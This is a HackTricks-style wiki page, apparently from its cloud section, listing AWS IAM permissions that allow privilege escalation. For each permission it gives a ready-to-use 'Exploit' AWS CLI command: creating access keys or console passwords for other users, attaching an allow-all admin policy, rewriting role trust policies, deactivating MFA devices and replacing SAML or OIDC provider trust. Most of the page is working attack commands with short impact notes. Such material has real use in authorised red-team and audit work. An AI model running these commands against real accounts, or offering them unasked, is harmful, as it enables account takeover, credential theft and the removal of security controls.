{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
For more info about IAM check:
{% content-ref url="../aws-services/aws-iam-enum.md" %} aws-iam-enum.md {% endcontent-ref %}
Grants the ability to create a new IAM policy version, bypassing the need for iam:SetDefaultPolicyVersion
permission by using the --set-as-default
flag. This enables defining custom permissions.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impact: Directly escalates privileges by allowing any action on any resource.
Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impact: Indirect privilege escalation by enabling more permissions.
Enables creating access key ID and secret access key for another user, leading to potential privilege escalation.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: Direct privilege escalation by assuming another user's extended permissions.
Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit for Update:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: Direct privilege escalation by logging in as "any" user.
Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key.
Exploit:
{% code overflow="wrap" %}
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
{% endcode %}
Impact: Direct privilege escalation by reactivating access keys.
Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user.
Exploit for Creation:
{% code overflow="wrap" %}
aws iam create-service-specific-credential --user-name <username> --service-name <service>
{% endcode %}
Exploit for Reset:
{% code overflow="wrap" %}
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
{% endcode %}
Impact: Direct privilege escalation within the user's service permissions.
Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit for Group:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impact: Direct privilege escalation to anything the policy grants.
iam:AttachRolePolicy
, ( sts:AssumeRole
|iam:createrole
) | iam:PutUserPolicy
| iam:PutGroupPolicy
| iam:PutRolePolicy
Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit for Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
You can use a policy like:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}
Impact: Direct privilege escalation by adding permissions through policies.
Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions.
Exploit:
{% code overflow="wrap" %}
aws iam add-user-to-group --group-name <group_name> --user-name <username>
{% endcode %}
Impact: Direct privilege escalation to the level of the group's permissions.
Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Where the policy looks like the following, which gives the user permission to assume the role:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact: Direct privilege escalation by assuming any role's permissions.
Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit for MFA Deactivation:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impact: Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection.
Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection.
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: Indirect privilege escalation by adding or manipulating MFA devices.
With these permissions you can change the XML metadata of the SAML connection. Then, you could abuse the SAML federation to login with any role that is trusting it.
Note that doing this legit users won't be able to login. However, you could get the XML, so you can put yours, login and configure the previous back
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
{% hint style="info" %} TODO: A Tool capable of generating the SAML metadata and login with a specified role {% endhint %}
iam:UpdateOpenIDConnectProviderThumbprint
, iam:ListOpenIDConnectProviders
, (iam:
GetOpenIDConnectProvider
)
(Unsure about this) If an attacker has these permissions he could add a new Thumbprint to manage to login in all the roles trusting the provider.
{% code overflow="wrap" %}
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
{% endcode %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.